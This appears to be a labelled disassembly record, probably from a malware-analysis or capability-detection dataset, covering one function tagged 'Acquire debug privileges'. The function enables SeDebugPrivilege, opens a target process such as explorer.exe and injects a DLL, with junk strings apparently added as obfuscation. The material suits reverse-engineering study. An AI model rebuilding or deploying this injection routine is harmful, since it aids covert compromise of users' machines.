Function at 0x180008430
Capabilities:
Acquire debug privileges

Disassembly:
push rsi
push rdi
sub rsp, 0x458
mov rax, qword [0x180018040]
xor rax, rsp
mov qword [rsp + 0x440], rax
call fcn.180007860
mov byte [rsp + 0x20], 0
lea rax, [rsp + 0x2c8]
lea rcx, str.rivKJSPoHytuUGlzFmxpYODkqVEbXfaTjgcQwedMA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2a
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x21], 0x52
mov qword [rsp + 0x120], 0
mov eax, 3
mov word [rsp + 0xa8], ax
mov dword [rsp + 0xf4], 6
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x130], 7
lea rax, [rsp + 0x220]
lea rcx, str.WwDCKdQANaTBFtPneVsk
mov rdi, rax
mov rsi, rcx
mov ecx, 0x15
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x22], 0
mov qword [rsp + 0xb8], 0
mov eax, 7
mov word [rsp + 0x48], ax
mov dword [rsp + 0xc0], 2
lea rax, [rsp + 0x1d8]
lea rcx, str.QpWIXOjb
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x23], 0
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x400], 0
lea rax, [rsp + 0x208]
lea rcx, str.GVPMUhSFYKrRJlZcb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
mov eax, 7
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x24], 0x58
mov qword [rsp + 0x408], 0
mov byte [rsp + 0x25], 0x71
mov eax, 4
mov word [rsp + 0x50], ax
mov qword [rsp + 0x140], 8
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x128], 2
mov eax, 4
mov word [rsp + 0x54], ax
mov dword [rsp + 0xc4], 0
mov dword [rsp + 0xc8], 0
mov qword [rsp + 0x160], 6
mov byte [rsp + 0x26], 0x59
mov eax, 5
mov word [rsp + 0x58], ax
lea rax, [rsp + 0x388]
lea rcx, str.TLUtyIlSKHhGVBOcgvfRNAEkoQqirnzaJZDXsCejpYWMbPdwFumx
mov rdi, rax
mov rsi, rcx
mov ecx, 0x35
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x168], 0
mov dword [rsp + 0x3f8], 0
mov dword [rsp + 0xcc], 1
mov byte [rsp + 0x27], 0x54
mov eax, 2
mov word [rsp + 0x5c], ax
lea rax, [rsp + 0x1e8]
lea rcx, str.NgwycBeDj
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x170], 8
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x29], 0x4a
mov eax, 4
mov word [rsp + 0x60], ax
mov dword [rsp + 0xd0], 6
xor eax, eax
mov word [rsp + 0x64], ax
lea rax, [rsp + 0x238]
lea rcx, str.JTKsErDmvaSeYAbfcgzxny
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
mov rax, qword [str.log.log]
mov qword [rsp + 0x438], rax
mov byte [rsp + 0x2a], 0
mov byte [rsp + 0x2b], 0x61
mov qword [rsp + 0x178], 0
lea rax, [rsp + 0x2f8]
lea rcx, str.QsjCGHcVFrndAaiBKyumIYhONSTMUbRoXlzEtgpWPeD
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
lea rax, str.explorer.exe
mov qword [rsp + 0x40], rax
mov eax, 2
mov word [rsp + 0x68], ax
mov qword [rsp + 0x180], 2
mov qword [rsp + 0x188], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [0x180013c54]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180008725
jmp 0x18000874f
mov rcx, qword [rsp + 0x40]
call fcn.180005d40
mov dword [rsp + 0x3f8], eax
mov eax, 6
mov word [rsp + 0x6c], ax
mov eax, 7
mov word [rsp + 0x70], ax
mov byte [rsp + 0x2c], 0
lea rdx, str.dwProcessId:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
mov edx, dword [rsp + 0x3f8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x18
lea rcx, [rsp + 0x410]
call fcn.180001e00
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x410]
call fcn.180006b80
nop
mov byte [rsp + 0x2d], 0
lea rcx, [rsp + 0x410]
call fcn.18000af00
cmp rax, 0xa
jae 0x1800087fc
mov dword [rsp + 0xac], 0xffffffff
lea rcx, [rsp + 0x410]
call fcn.18000aff0
mov eax, dword [rsp + 0xac]
jmp 0x180008d2d
lea rcx, [rsp + 0x408]
call fcn.1800062b0
test eax, eax
je 0x180008980
lea rdx, str.___NtOpenProcessToken_success_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 4
mov word [rsp + 0x78], ax
mov qword [rsp + 0x198], 0
mov dword [rsp + 0x428], 1
mov dword [rsp + 0xd4], 8
mov byte [rsp + 0x2e], 0x62
mov qword [rsp + 0x1a0], 5
mov byte [rsp + 0x2f], 0
lea rax, [rsp + 0x1f8]
lea rcx, str.HePqiwUZf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x434], 2
lea rax, [rsp + 0x3c0]
lea rcx, str.TaWClHwGMfhNOKRABsDxeqEPgdUvibVZYtukSjQFnoczJrXILpmy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x35
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xd8], 0
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x42c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x180008917
lea rdx, str.___using_AdjustTokenPrivileges_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x1a8], 0
xor eax, eax
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x150]
lea rcx, [rsp + 0x428]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x408]
call fcn.1800066f0
mov byte [rsp + 0x31], 0
mov eax, 4
mov word [rsp + 0x80], ax
lea rcx, [rsp + 0x408]
call fcn.180005a20
mov rdx, qword [rsp + 0x40]
lea rcx, [0x180013d1c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1800089df
mov qword [rsp + 0x400], 0xffffffffffffffff
mov eax, 1
mov word [rsp + 0x84], ax
mov dword [rsp + 0xdc], 2
mov qword [rsp + 0x1b0], 4
mov byte [rsp + 0x32], 0
mov eax, 9
mov word [rsp + 0x88], ax
mov byte [rsp + 0x33], 0x42
jmp 0x1800089f9
lea r8, [rsp + 0x3f8]
mov edx, 0x43a
lea rcx, [rsp + 0x400]
call fcn.180004840
cmp qword [rsp + 0x400], 0
jne 0x180008ac6
lea rdx, str.Failed_to_open_the_target_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov word [rsp + 0x8c], ax
mov eax, 5
mov word [rsp + 0x90], ax
mov qword [rsp + 0x1b8], 0
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x250]
lea rcx, str.WFxzmicfHnRVajAhLkBEIyJUPMvgX
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xe0], 4
mov byte [rsp + 0x34], 0
mov dword [rsp + 0xb0], 0xffffffff
lea rcx, [rsp + 0x410]
call fcn.18000aff0
mov eax, dword [rsp + 0xb0]
jmp 0x180008d2d
lea rcx, [rsp + 0x410]
call fcn.18000af00
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x410]
call fcn.18000afd0
xor r9d, r9d
mov rcx, qword [rsp + 0xf8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rsp + 0x400]
call fcn.180009630
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
jne 0x180008bd2
lea rdx, str.Failed_to_XGnTzRLc_the_DLL
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 7
mov word [rsp + 0x94], ax
mov byte [rsp + 0x35], 0
mov qword [rsp + 0x1c8], 0
mov byte [rsp + 0x36], 0x72
lea rax, [rsp + 0x298]
lea rcx, str.PRqYwsUzBCWfhQrFgxJuebklHNoDGAIOnpyXESLv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x29
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xe4], 6
mov dword [rsp + 0xb4], 0xffffffff
lea rcx, [rsp + 0x410]
call fcn.18000aff0
mov eax, dword [rsp + 0xb4]
jmp 0x180008d2d
lea rdx, str.___Injected_the
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cc70
lea rdx, [rsp + 0x438]
mov rcx, rax
call fcn.18000cc70
lea rdx, str.into_process:
mov rcx, rax
call fcn.18000cc70
mov edx, dword [rsp + 0x3f8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000cff0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsp + 0x40]
lea rcx, [0x180013e04]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180008c99
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [rsp + 0x37], 0x6d
mov byte [rsp + 0x38], 0
mov dword [rsp + 0xec], 8
mov qword [rsp + 0x108], 1
mov eax, 9
mov word [rsp + 0x9c], ax
lea rax, [rsp + 0x358]
lea rcx, str.KpYTIuXdMycinaxLfNOzsFQqCHovlwUEWAGPmkjVgZRhDr
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2f
rep movsb byte [rdi], byte [rsi]
jmp 0x180008cfb
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x39], 0
mov dword [rsp + 0xf0], 8
mov eax, 9
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x3a], 0x71
lea rax, [rsp + 0x328]
lea rcx, str.VTNaJfdXcZpmxlUhYqewsROMzCGkFnvyEAQSgIWBrDt
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0xa4], ax
mov qword [rsp + 0x110], 0
call fcn.1800047e0
nop
lea rcx, [rsp + 0x410]
call fcn.18000aff0
xor eax, eax
test eax, eax
jne 0x18000870d
xor eax, eax
jmp 0x180008d2d
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.18000f150
add rsp, 0x458
pop rdi
pop rsi
ret